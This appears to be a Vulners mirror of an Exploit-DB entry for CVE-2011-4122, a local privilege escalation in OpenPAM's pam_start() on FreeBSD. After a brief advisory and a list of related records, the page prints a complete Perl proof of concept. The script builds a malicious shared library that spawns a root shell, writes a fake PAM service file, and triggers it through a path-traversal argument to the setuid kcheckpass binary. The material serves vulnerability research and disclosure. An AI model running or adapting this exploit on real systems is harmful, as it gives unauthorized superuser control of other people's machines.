Lucene search
+L

OpenPAM - 'pam_start()' Local Privilege Escalation

🗓️ 09 Nov 2011 00:00:00Reported by IKCEType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

OpenPAM 'pam_start()' Local Privilege Escalation. Vulnerability allows local attackers to execute code with superuser privileges, compromising affected systems

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2011-4122
9 Nov 201100:00
circl
cve
CVE
CVE-2011-4122
17 Nov 201119:00
cve
cvelist
Cvelist
CVE-2011-4122
17 Nov 201119:00
cvelist
freebsd
FreeBSD
FreeBSD -- pam_ssh() does not validate service names
23 Dec 201100:00
freebsd
euvd
EUVD
EUVD-2011-4070
7 Oct 202500:30
euvd
freebsd_advisory
FreeBSD Advisory
FreeBSD-SA-11:10.pam
23 Dec 201100:00
freebsd_advisory
nessus
Tenable Nessus
FreeBSD : FreeBSD -- pam_ssh() does not validate service names (e51d5b1a-4638-11e1-9f47-00e0815b8da8)
31 Jan 201200:00
nessus
nvd
NVD
CVE-2011-4122
17 Nov 201119:55
nvd
openvas
OpenVAS
FreeBSD Ports: FreeBSD
12 Feb 201200:00
openvas
openvas
OpenVAS
FreeBSD Ports: FreeBSD
12 Feb 201200:00
openvas
Rows per page
source: https://www.securityfocus.com/bid/50607/info

OpenPAM is prone to a local privilege-escalation vulnerability.

Local attackers may exploit this issue to execute arbitrary code with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers.

#!/usr/bin/perl

# kcheckpass invoking pam_start() with user provided
# service argument, what a bad idea. OpenPAM accepts that.
# Maybe this pam_start() vulnerability is exploitable via
# other vectors as well.
# Vuln tested on a FreeBSD 8.1. It does not affect
# Linux PAM, as it is checking for / character

# (C) 2011 by some dude, meant as a PoC! Only use on your own
# machine and on your own risk!!!
#
# This commit is likely to fix the bug:
# http://trac.des.no/openpam/changeset/478/trunk/lib/openpam_configure.c
#

my $kcheckpass = "/usr/local/kde4/lib/kde4/libexec/kcheckpass";

# build suid shell
open(O,">/tmp/slam.c") or die $!;
print O<<EOC;

#include <stdio.h>
#include <unistd.h>

void __attribute__((constructor)) init()
{
	char *a[] = {"/bin/sh", NULL};
	setuid(0);
	execve(*a, a, NULL);
}
EOC
close(O);

# build fake pam module
system("gcc -fPIC -Wall -c /tmp/slam.c -o /tmp/slam.o;gcc -shared -o /tmp/slam.so /tmp/slam.o");

# build fake PAM service file
open(O,">/tmp/pamslam") or die $!;
print O<<EOP;
auth	sufficient	/tmp/slam.so
EOP
close(O);

print "We need more Elchsalami! Happy birthday dude!\n";
exec("$kcheckpass -c ../../../tmp/pamslam -m classic");

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Mar 2015 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 26.9
EPSS0.00905
25